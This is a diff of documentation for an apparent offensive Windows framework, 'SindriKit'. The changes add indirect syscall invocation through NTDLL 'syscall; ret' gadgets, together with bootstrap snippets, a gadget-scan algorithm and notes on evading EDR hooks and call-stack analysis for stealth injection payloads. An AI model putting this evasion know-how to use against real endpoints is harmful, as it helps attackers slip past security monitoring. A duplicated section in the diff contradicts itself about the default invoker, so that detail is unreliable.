||||||
|
|
||||||
@@ -56,8 +56,12 @@ if (SND_FAILED(status)) {
|
|||||||
|
|
||||||
// Feed the mapped image into the syscall pipeline
|
// Feed the mapped image into the syscall pipeline
|
||||||
snd_syscall_set_ntdll(clean_ntdll);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed.
|
The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed.
|
||||||
|
|||||||
@@ -45,12 +45,16 @@ Direct syscalls bypass userland EDR hooks inside `ntdll.dll` stubs. The kernel r
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation:
|
> `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation:
|
||||||
>
|
>
|
||||||
|
|
||||||
> ```c
|
> ```c
|
||||||
> snd_syscall_set_ntdll(clean_ntdll_base);
|
> snd_syscall_set_ntdll(clean_ntdll_base);
|
||||||
> snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
> snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
> snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
> snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
> snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
> // or for indirect syscalls:
|
||||||
|
> // snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
> // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
> ```
|
> ```
|
||||||
>
|
|
||||||
> If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error.
|
> If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error.
|
||||||
|
|
||||||
## Mixing Backends
|
## Mixing Backends
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ Remote thread creation uses `NtCreateThreadEx` with the same access mask (`0x1FF
|
|||||||
Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles.
|
Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
|
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
|
||||||
|
|
||||||
## Injection Integration
|
## Injection Integration
|
||||||
|
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
# Syscall Primitives
|
# Syscall Primitives
|
||||||
|
|
||||||
Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs.
|
Direct and indirect syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs — either inline (direct) or by jumping to a legitimate NTDLL gadget (indirect).
|
||||||
|
|
||||||
**Header:** `include/sindri/primitives/syscalls.h`
|
**Header:** `include/sindri/primitives/syscalls.h`
|
||||||
**Implementation:** `src/primitives/execution/syscalls/`
|
**Implementation:** `src/primitives/execution/syscalls/`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Bootstrap required:** Call `snd_syscall_set_ntdll()` and configure at least one strategy via `snd_syscall_strategy_set()` before `snd_syscall_resolve()`. `_sys` memory/process/mapping backends depend on this pipeline.
|
> **Bootstrap required:** Call `snd_syscall_set_ntdll()`, configure at least one strategy via `snd_syscall_set_resolver()`, and configure the invoker via `snd_syscall_set_invoker()` before `snd_syscall_resolve()`. For indirect invocation, also set a gadget finder via `snd_syscall_set_gadget_finder()`. With `SND_USE_DEFAULTS=ON`, only `snd_syscall_set_ntdll()` is required — the resolver, invoker, and gadget finder are pre-configured at compile time. `_sys` memory/process/mapping backends depend on this pipeline.
|
||||||
|
|
||||||
## How `_sys` primitives use syscalls
|
## How `_sys` primitives use syscalls
|
||||||
|
|
||||||
@@ -14,10 +14,18 @@ Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System
|
|||||||
snd_mem_sys / snd_proc_sys / snd_map_sys
|
snd_mem_sys / snd_proc_sys / snd_map_sys
|
||||||
│
|
│
|
||||||
▼
|
▼
|
||||||
snd_syscall_resolve(func_hash) ← cascading strategy chain
|
snd_syscall_resolve(func_hash) <- cascading strategy chain
|
||||||
│
|
│
|
||||||
▼
|
▼
|
||||||
snd_syscall_invoke_asm(&args) ← x64/x86 ASM stub
|
(gadget finder, if indirect) <- locates syscall/sysenter gadget in NTDLL
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
g_syscall_invoker(&args) <- dispatches to configured ASM stub
|
||||||
|
│
|
||||||
|
┌───┴───────────────────┐
|
||||||
|
▼ ▼
|
||||||
|
snd_syscall_direct_ snd_syscall_indirect_
|
||||||
|
invoke_asm invoke_asm
|
||||||
```
|
```
|
||||||
|
|
||||||
Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`).
|
Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`).
|
||||||
@@ -29,15 +37,38 @@ Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTA
|
|||||||
| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked |
|
| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked |
|
||||||
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN |
|
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN |
|
||||||
|
|
||||||
Typical registration — scan first, sort as fallback:
|
Typical registration:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies).
|
Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies).
|
||||||
|
|
||||||
|
## Invocation modes
|
||||||
|
|
||||||
|
| Function | File | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
|
||||||
|
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
|
||||||
|
|
||||||
|
## Invocation modes
|
||||||
|
|
||||||
|
| Function | File | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
|
||||||
|
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
|
||||||
|
|
||||||
|
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
|
|
||||||
- [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition
|
- [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition
|
||||||
|
|||||||
@@ -24,18 +24,23 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
|
|||||||
| `pAddress` | `PVOID` | Stub address (populated by scan resolver) |
|
| `pAddress` | `PVOID` | Stub address (populated by scan resolver) |
|
||||||
| `dwHash` | `DWORD` | Target function hash |
|
| `dwHash` | `DWORD` | Target function hash |
|
||||||
| `wSystemCall` | `WORD` | Resolved SSN |
|
| `wSystemCall` | `WORD` | Resolved SSN |
|
||||||
|
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
|
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
|
||||||
|
|
||||||
### `snd_syscall_args_t`
|
### `snd_syscall_args_t`
|
||||||
|
|
||||||
Arguments for `snd_syscall_invoke_asm`. On x64, `arg1` is moved to `R10` per the syscall convention; `arg2`–`arg4` use `RDX`/`R8`/`R9`; `arg5`–`arg11` are stack arguments.
|
Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_syscall_indirect_invoke_asm`). On x64, `arg1` is moved to `R10` per the syscall convention; `arg2`–`arg4` use `RDX`/`R8`/`R9`; `arg5`–`arg11` are stack arguments.
|
||||||
|
|
||||||
| Field | Type | Description |
|
| Field | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
|
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
|
||||||
| `arg1`–`arg11` | `PVOID` | Syscall arguments |
|
| `arg1`–`arg11` | `PVOID` | Syscall arguments |
|
||||||
|
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -51,27 +56,27 @@ typedef snd_status_t (*snd_syscall_resolver_t)(
|
|||||||
);
|
);
|
||||||
```
|
```
|
||||||
|
|
||||||
### `snd_syscall_strategy_set`
|
### `snd_syscall_set_resolver`
|
||||||
|
|
||||||
Sets the **primary** strategy and **resets** the chain to a single entry.
|
Sets the **primary** strategy and **resets** the chain to a single entry.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver);
|
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
|
||||||
```
|
```
|
||||||
|
|
||||||
**Returns:** `void`
|
**Returns:** `void`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_syscall_strategy_add`
|
### `snd_syscall_add_resolver`
|
||||||
|
|
||||||
Appends a fallback strategy. Evaluated in registration order after the primary.
|
Appends a fallback strategy. Evaluated in registration order after the primary.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver);
|
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
|
||||||
```
|
```
|
||||||
|
|
||||||
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` (chain full)
|
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PIPELINE_EXHAUSTED` (chain full)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -117,6 +122,34 @@ snd_status_t snd_syscall_resolve_ssn_sort(
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_set_invoker`
|
||||||
|
|
||||||
|
Sets the global syscall invoker function pointer.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
|
||||||
|
```
|
||||||
|
|
||||||
|
Built-in options: `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`.
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_set_gadget_finder`
|
||||||
|
|
||||||
|
Sets the global gadget finder function pointer. Only required when using indirect invocation.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
|
||||||
|
```
|
||||||
|
|
||||||
|
Built-in: `snd_syscall_find_gadget_scan`.
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Resolution & Execution
|
## Resolution & Execution
|
||||||
|
|
||||||
### `snd_syscall_resolve`
|
### `snd_syscall_resolve`
|
||||||
@@ -131,26 +164,57 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_syscall_invoke_asm`
|
### `snd_syscall_direct_invoke_asm`
|
||||||
|
|
||||||
Architecture-specific ASM stub (`invoke_x64.asm` / `invoke_x86.asm`).
|
Architecture-specific ASM stub (`invoke_direct_x64.asm` / `invoke_direct_x86.asm`). Executes the `syscall` / `sysenter` / `int 2Eh` instruction inline.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args);
|
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
|
||||||
```
|
```
|
||||||
|
|
||||||
**Returns:** raw `NTSTATUS` from the kernel
|
**Returns:** raw `NTSTATUS` from the kernel
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_indirect_invoke_asm`
|
||||||
|
|
||||||
|
Architecture-specific ASM stub (`invoke_indirect_x64.asm` / `invoke_indirect_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL. Requires `sys_addr` to be populated (via `snd_syscall_find_gadget_scan` or a custom gadget finder).
|
||||||
|
|
||||||
|
```c
|
||||||
|
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if `sys_addr` is NULL
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
|
||||||
|
|
||||||
|
| Macro | Default value (when enabled) |
|
||||||
|
|---|---|
|
||||||
|
| `SND_SYSCALL_INVOKER_DEFAULT` | `snd_syscall_indirect_invoke_asm` |
|
||||||
|
| `SND_SYSCALL_GADGET_FINDER_DEFAULT` | `snd_syscall_find_gadget_scan` |
|
||||||
|
| `SND_SYSCALL_RESOLVER_DEFAULT` | `snd_syscall_resolve_ssn_scan` |
|
||||||
|
|
||||||
|
When `SND_USE_DEFAULTS` is disabled (default), all three macros expand to `NULL`.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
|
||||||
|
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
|
||||||
|
> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Typical bootstrap (PoC pattern)
|
## Typical bootstrap (PoC pattern)
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID ntdll = NULL;
|
PVOID ntdll = NULL;
|
||||||
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
snd_syscall_entry_t entry = {0};
|
snd_syscall_entry_t entry = {0};
|
||||||
snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry);
|
snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry);
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# Syscall Resolution Engines
|
# Syscall Resolution Engines
|
||||||
|
|
||||||
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_strategy_set` / `snd_syscall_strategy_add`.
|
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_set_resolver` / `snd_syscall_add_resolver`.
|
||||||
|
|
||||||
| Resolver | File | Hook resistance |
|
| Resolver | File | Hook resistance |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
@@ -57,7 +57,7 @@ The sorted table is built once per process (`g_table_initialized`). Subsequent r
|
|||||||
|
|
||||||
### Output
|
### Output
|
||||||
|
|
||||||
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for `snd_syscall_invoke_asm` which only needs the SSN.
|
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for the invoker which only needs the SSN.
|
||||||
|
|
||||||
### When to use
|
### When to use
|
||||||
|
|
||||||
@@ -71,8 +71,10 @@ Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddres
|
|||||||
PoCs and production profiles typically register both:
|
PoCs and production profiles typically register both:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
Evaluation order:
|
Evaluation order:
|
||||||
@@ -93,13 +95,40 @@ snd_status_t my_resolver(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entr
|
|||||||
return SND_OK;
|
return SND_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
snd_syscall_strategy_add(my_resolver);
|
snd_syscall_add_resolver(my_resolver);
|
||||||
```
|
```
|
||||||
|
|
||||||
Maximum **4** strategies in the chain.
|
Maximum **4** strategies in the chain.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Gadget finder (`snd_syscall_find_gadget_scan`)
|
||||||
|
|
||||||
|
**Source:** `gadget_scan.c`
|
||||||
|
|
||||||
|
Resolves the target function address from the natively loaded NTDLL (via PEB walk, not the user-supplied NTDLL image) and scans for a transition gadget.
|
||||||
|
|
||||||
|
### Algorithm
|
||||||
|
|
||||||
|
1. Get the natively loaded `ntdll.dll` base via `snd_peb_get_module_base_hash`.
|
||||||
|
2. Resolve the export address of the target function using its hash.
|
||||||
|
3. Scan forward up to 32 bytes for the transition signature:
|
||||||
|
- **x64:** `syscall; ret` (`0F 05 C3`)
|
||||||
|
- **x86:** Entry point + 5 bytes (skips `mov eax, SSN` and enters the OS-specific transition)
|
||||||
|
|
||||||
|
### Output
|
||||||
|
|
||||||
|
Populates `entry->pSyscallAddr` with the gadget address.
|
||||||
|
|
||||||
|
### When to use
|
||||||
|
|
||||||
|
Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs automatically during `snd_syscall_resolve` if `g_syscall_gadget_finder` is set.
|
||||||
|
|
||||||
|
> [!IMPORTANT]
|
||||||
|
> The gadget finder uses the **natively loaded** NTDLL from the process PEB, not the user-supplied NTDLL image. This ensures the gadget points to executable memory regardless of how the SSN source was obtained (disk load, KnownDlls map, etc.).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Dependencies
|
## Dependencies
|
||||||
|
|
||||||
Both resolvers depend on:
|
Both resolvers depend on:
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# Syscall Execution Pipeline
|
# Syscall Execution Pipeline
|
||||||
|
|
||||||
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number.
|
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. SindriKit supports both direct and indirect syscall invocation. Direct syscalls execute the `syscall` instruction inline, while indirect syscalls jump to a legitimate gadget within NTDLL to evade EDR call-stack analysis.
|
||||||
|
|
||||||
SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image.
|
SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image.
|
||||||
|
|
||||||
@@ -10,9 +10,10 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
|
|||||||
|
|
||||||
```mermaid
|
```mermaid
|
||||||
flowchart LR
|
flowchart LR
|
||||||
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_strategy_set / _add"]
|
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
|
||||||
B --> C["3. snd_syscall_resolve"]
|
B --> C["3. snd_syscall_set_invoker"]
|
||||||
C --> D["4. snd_syscall_invoke_asm"]
|
C --> D["4. snd_syscall_resolve"]
|
||||||
|
D --> E["5. g_syscall_invoker"]
|
||||||
```
|
```
|
||||||
|
|
||||||
### 1. Provide `ntdll` base
|
### 1. Provide `ntdll` base
|
||||||
@@ -34,13 +35,28 @@ See [mapping techniques](../mapping/techniques.md) for KnownDlls bootstrap.
|
|||||||
### 2. Configure strategy chain
|
### 2. Configure strategy chain
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); // primary
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); // fallback
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
`snd_syscall_strategy_set` **replaces** the entire chain. Each `snd_syscall_strategy_add` appends up to 3 fallbacks (4 total).
|
`snd_syscall_set_resolver` **replaces** the entire chain. Each `snd_syscall_add_resolver` appends up to 3 fallbacks (4 total).
|
||||||
|
|
||||||
### 3. Resolve SSN
|
### 3. Configure invoker
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); // direct
|
||||||
|
// or
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); // indirect
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for indirect
|
||||||
|
```
|
||||||
|
|
||||||
|
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
|
||||||
|
|
||||||
|
### 4. Resolve SSN
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_entry_t entry = {0};
|
snd_syscall_entry_t entry = {0};
|
||||||
@@ -49,20 +65,23 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
|
|||||||
|
|
||||||
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
|
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
|
||||||
|
|
||||||
### 4. Invoke
|
### 5. Invoke
|
||||||
|
|
||||||
Populate `snd_syscall_args_t` and call the ASM stub:
|
Populate `snd_syscall_args_t` and call via the global invoker:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = ...;
|
args.arg1 = ...;
|
||||||
// arg2–arg11 as required by the target syscall
|
// arg2–arg11 as required by the target syscall
|
||||||
|
|
||||||
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
NTSTATUS nt_status = g_syscall_invoker(&args);
|
||||||
```
|
```
|
||||||
|
|
||||||
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 3–4 internally — operators only bootstrap once at startup.
|
`sys_addr` is only used by the indirect invoker; the direct invoker ignores it.
|
||||||
|
|
||||||
|
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 4–5 internally — operators only bootstrap once at startup.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -75,8 +94,12 @@ snd_status_t st = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
|||||||
if (SND_FAILED(st)) return st;
|
if (SND_FAILED(st)) return st;
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
// Resolve + invoke NtClose
|
// Resolve + invoke NtClose
|
||||||
snd_syscall_entry_t entry = {0};
|
snd_syscall_entry_t entry = {0};
|
||||||
@@ -85,13 +108,25 @@ if (SND_FAILED(st)) return st;
|
|||||||
|
|
||||||
snd_syscall_args_t args = {0};
|
snd_syscall_args_t args = {0};
|
||||||
args.ssn = entry.wSystemCall;
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.sys_addr = entry.pSyscallAddr;
|
||||||
args.arg1 = handle;
|
args.arg1 = handle;
|
||||||
|
|
||||||
NTSTATUS nt = snd_syscall_invoke_asm(&args);
|
NTSTATUS nt = g_syscall_invoker(&args);
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## `SND_USE_DEFAULTS`
|
||||||
|
|
||||||
|
When enabled, all globals (invoker, gadget finder, primary resolver) are pre-configured. The only required bootstrap call is `snd_syscall_set_ntdll()`.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
|
||||||
|
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
|
||||||
|
